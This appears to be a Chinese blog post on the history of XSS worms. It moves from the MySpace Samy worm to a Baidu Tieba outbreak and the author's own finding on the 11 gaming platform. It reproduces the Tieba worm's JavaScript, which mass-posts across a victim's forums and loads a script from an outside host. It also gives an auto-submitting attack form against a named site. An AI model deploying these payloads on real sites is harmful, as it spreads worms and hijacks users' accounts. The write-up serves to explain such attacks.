蠕虫来了!小议xss worm的前世今生
日前,百度贴吧爆发了一次xss 蠕虫,这个虫子几乎把整个贴吧都爬了一遍。xss worm到底是一个什么样的技术?今天就乘着度娘爆发的小虫子,看看xss worm的前世今生。
一、世界上的第一条xss 虫子
在2005年10月初,第一只Web 2.0蠕虫I-Worm/JS.Sammy也是利用著名网络社区MySpace.com的系统漏洞,以跨站脚本攻击(XSS)的方式进行传播的Sammy 蠕虫的作者在社区个人资料中插入病毒脚本,当其他MySpace.com用户查看他的资料时,病毒脚本就会运行,自动把病毒作者加为好友,同时病毒本身也 会被复制到浏览者的个人资料里面。不到20个小时,就有超过100万MySpace.com用户受到感染,造成网站一度瘫痪。MySpace.com为此 不得不禁止所有用户在个人资料中加入任何脚本程序。
——from《web2.0网站安全思考》
这是世界上的第一条xss虫子,不像以前的蠕虫,只要是在MySpace.com这个域网络社区为平台,无论前端用户的计算机是什么系统,只要浏览器执行,那用户即可能被感染,
其后国内也爆发过一阵,饭否、百度空间、渣浪,都有过被虫子蠕动的经历,其实可以看的出来,这些站点都有一个相同点,他们的交互性很强,一个用户参与度高的站导致了用户对页面的操作权限很高,虫子也就通过这一点爆发。它满足病毒的性质,在web上通过HTTP请求各种传播,利用客户端执行一些恶意javascript脚本。
[1]对使用者的数据具有操作权限
[2]也可以对网站造成阻止服务攻击(我不习惯说拒绝服务攻击,因为deny应该翻译为组织,拒绝是双方行为,而攻击发生并不是受害方主动拒绝,而是对其服务进行阻止,对这个名称不服的请来辩!)
[3]邪恶的传播网马,比如通过ActiveX控件进行本地攻击(这个控件我就不太想吐槽了,之前在我空间里发过一个利用该控件进行本地溢出的。。。不多说,蛋疼),因为worm的传播速度本来就快的飞起,网马结合后造成的攻击力,我想应该是成吨的伤害。
二、度娘的worm
- var forumName = [];
- var forumId = [];
- for (var i = 0, j = 0; i <PageData.user.user_forum_list.info.length; i++) { if (PageData.user.user_forum_list.info[i].user_level > 3) {
- if (PageData.user.user_forum_list.info[i].forum_name!=”璐村惂鐩戞帶”) {
- forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
- forumId[j] = PageData.user.user_forum_list.info[i].id;
- j++;
- }
- }
- }
- function madeit(myKw, myFid) {
- var c = rich_postor._getData();
- c.content=”\\u8bf7\\u5141\\u8bb8\\u6211\\u505a\\u4e00\\u4e2a\\u5fe7\\u4f24\\u7684\\u8868\\u60c5\\uff0c\\u662f\\u5fe7\\u4f24\\u54e6\\uff01″;
- cc.ftid = c.fid;
- c.ptid = “2337372175″;
- c.title = ‘\\u70b9\\u8fdb\\u6765\\u6709..”,a:$.getScript(\\’//xss.retaker.me/1.js\\’),a:”‘;
- c.fid = myFid;
- c.kw = myKw;
- $.post(“/relay/commit”, c);
- }
- //now begin!
- for (j = 0; j < forumName.length; j++) {
- setTimeout(“madeit(‘” + forumName[j] + “‘,’” + forumId[j] + “‘)”, 1500 * j);
- }
这就是造成那个虫子的脚本,度娘响应还是快的,删贴神马的,不过最终停止是这个第三方js失效,截图如下:
可以看到,影响蛮大的,这个虫子的行为是:一个用户中招后,就会在所有该用户收藏的贴吧中发帖,其传播速度可想而知了
第三方js的地址为:http://xss.retaker.me/1.js(现已失效)
在爆发时有个临时解决方案,即:在C:\Windows\System32\drivers\etc\hosts用记事本打开,添加127.0.0.1 xss.retaker.me
其实更觉得这位小哥像是在测试,然后就一不小心爆发了…(好吧,我还是太善良了)
除了本次事件外,在08年的度娘也爆发过一次
三、11平台的虫子
其实也不算是真正的xss worm,只是传播类似,好像是去年我才开学吧,我当时才学习前端安全不久(一直玩渗透,前端安全也是当工具用~)新浪微博好像是就挖出一个潜在的虫子,是个持久性的xss,在个人设置中个人资料填写存在持久性xss,当鼠标停留在用户id时,即触发xss攻击
写一个post请求
<form accept-charset=”utf-8″ onsubmit=”document.charset=’utf-8′;document.getElementById(‘intro’).value = decodeURIComponent(document.getElementById(‘intro’).value);” name=”form” method=”post” action=”http://i.5211game.com/request/” target=”_self” > <input name=”method” type=”text” value=”publish”> <input name=”tag” type=”text” value=””> <input name=”pic” type=”text” value=””> <input name=”content” value=”么么哒~@测试id”> <input name=”tx” type=”text” value=”0″> <input name=”sina” type=”text” value=”0″> <input name=”lastId” type=”text” value=”2522856″> <input name=”oldId” type=”text” value=”2514419″> <input name=”lasttime” type=”text” value=”1343530565579″> <input name=”tp” type=”text” value=”phrase”> <input name=”submit” type=”image” src=”http://xxxxxxxxxx” value=”11111″ onclick=”submit()”/> </form> <script type=”text/javascript”> document.form.submit(); </script>
行为如下:
自动提交post,只要有其他用户在11社区鼠标停留到该测试id,即触发
比较操蛋的是当时小规模测试成了,然后本来想留着多玩两天的,被wooyun的一个同学提交了,我擦。。。
四、 小福利,应该是没公开的小漏洞奉上
这个洞也是我找的,也是11平台(哈哈,我喜欢打dota),不过这个洞的位置在发布私信处,指哪儿打哪儿啊